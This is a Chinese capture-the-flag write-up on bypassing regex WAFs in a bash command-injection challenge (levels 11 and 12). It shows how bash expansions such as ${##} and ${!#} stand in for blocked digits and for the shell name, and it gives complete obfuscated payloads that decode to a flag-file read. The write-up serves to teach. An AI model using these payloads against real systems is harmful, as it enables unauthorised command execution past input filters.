当前位置: 首页 > wzjs >正文

秦皇岛网站seoseo范畴有哪些

秦皇岛网站seo,seo范畴有哪些,海南省建设监理协会网站,宝安区住房和建设局官方网站Level 11 分析源码 主要关注 preg_match("/[A-Za-z1-9\"%*,-.\/:;>?[\]^|]/", $cmd) 过滤字符的变化发现比起上一关, 这一关可以使用的数字只有 0归纳一下, 能用的字符有 #, $, (, ), 0, <, \, {, } 解题分析 而没有了 1, 怎么表示二进制呢?这个时…

Level 11

分析源码

  • 主要关注 preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^|]/", $cmd)` 过滤字符的变化
  • 发现比起上一关, 这一关可以使用的数字只有 0
  • 归纳一下, 能用的字符有
    • #, $, (, ), 0, <, \, {, }

解题分析

  • 而没有了 1, 怎么表示二进制呢?
  • 这个时候就需要使用间接扩展特性中的${#xxx}, 它用于表示变量 xxx 存储的字符串长度
    • sh-5.1# a=1
      sh-5.1# echo ${#a}
      1
      
  • 而前几关提到 ${#}代表传递给当前脚本的参数个数, 虽说他没有办法作为 1 使用, 但是 # 可以作为变量, 而其存储的 0 的长度为 1
    sh-5.1# echo $#
    0
    sh-5.1# echo ${##}
    1
    
    • 所以我们只需要把上关的 Paylaod 中的 1, 全部换为 ${##} 即可
    • 上关的Payload为
      $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
      
    • 替换后为
      $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
      

解题步骤

  • 似乎出题人察觉到了, GET请求的最大长度已经不满足于现在的Payload了(后面查了一下, 发现其实距离超出限制还远远不到)
  • 所以这一关采用了 POST 请求(应该是省的URL转换吧)
  • 当然也就不在需要使用 URL编码 了

请添加图片描述

Level 12

源码分析

  • 这一关并未给出源码
    • 似乎是因为本关考察点在 PHP 的 system 中并不支持
    • 所以在 Python 的 Flask 环境下使用subprocess模块来执行命令
    • 并给我们一个虚拟终端
  • 不过还是告诉了 WAF 是什么
    "WAF:[A-Za-z0-9"%*+,-.\/:;=>?@[\]^`|&_~]"
    
  • 也就是说这一关中, 任何一个数字都使用不了了
  • 不过以下几个符号还是可以使用的
    ! # $ ' ( ) < \ { }
    

解题分析

  • 这里就要使用间接扩展特性中的${!xxx}, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值
    • sh-5.1# a=0
      sh-5.1# echo ${!a}
      /bin/sh
      
    • ${!a} 就相当于 $0
    • 这样就找到 $0 代替 bash 的平替了
  • 然后 ${#} 为传递给当前脚本的参数个数, 也就是 0
  • 现在就可以把上一关的 Payload 拿来修改了
    $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
    
  • 修改后
    ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
    

解题步骤

  • 既然给我们了UI界面, 那直接使用输入Payload就行了
  • 请添加图片描述
http://www.dtcms.com/wzjs/334185.html

相关文章:

  • 聊城市网站建设公司百度云登录
  • 高邮市建设网站电商网站设计模板
  • 石景山网站建设推广seo数据是什么意思
  • 做网站 新域名 还是济南最新消息
  • 男女做暖暖的视频试看网站杭州seook优屏网络
  • 天元建设集团有限公司联系电话上海站群优化公司
  • 网站设计赏析网店交易平台
  • 西宁网站建设学校公司官网搭建
  • 上海网站建设门户论坛seo招聘
  • 福建省做鞋批发网站神马网站快速排名案例
  • 做网站用什么框架百度快速排名软件
  • 东莞清洁服务网站建设营销推广策划方案
  • 如何给网站做快速排名seo是什么姓氏
  • 重庆好的网站制作公司哪家好口碑营销
  • 小学教学活动设计方案模板seo牛人
  • 做网站的开发软件seo中文意思
  • 主流网站开发采用营销培训班
  • 中山市seo推广点击软件seo优化外链平台
  • 怎么在微信公众号上传wordpress成都外贸seo
  • 电商类公司网站应该怎么搭建站长工具网站排名
  • 城市建设模拟游戏网站国内最近发生的重大新闻
  • 音乐摄影网站建设宗旨seo排名专业公司
  • 创建自由摄影师的网站内容海底捞口碑营销
  • 拉萨伟志达网站建设seo简介
  • wordpress 删除边栏优化大师app
  • 有哪些网站可以做全屏代码要做网络推广
  • 做网站的分辨率是72吗网站推广多少钱
  • 拓普网站建设关键词排名批量查询
  • 阿里云无主体新增网站2021年关键词排名
  • 电子商务b2c网站建设王通seo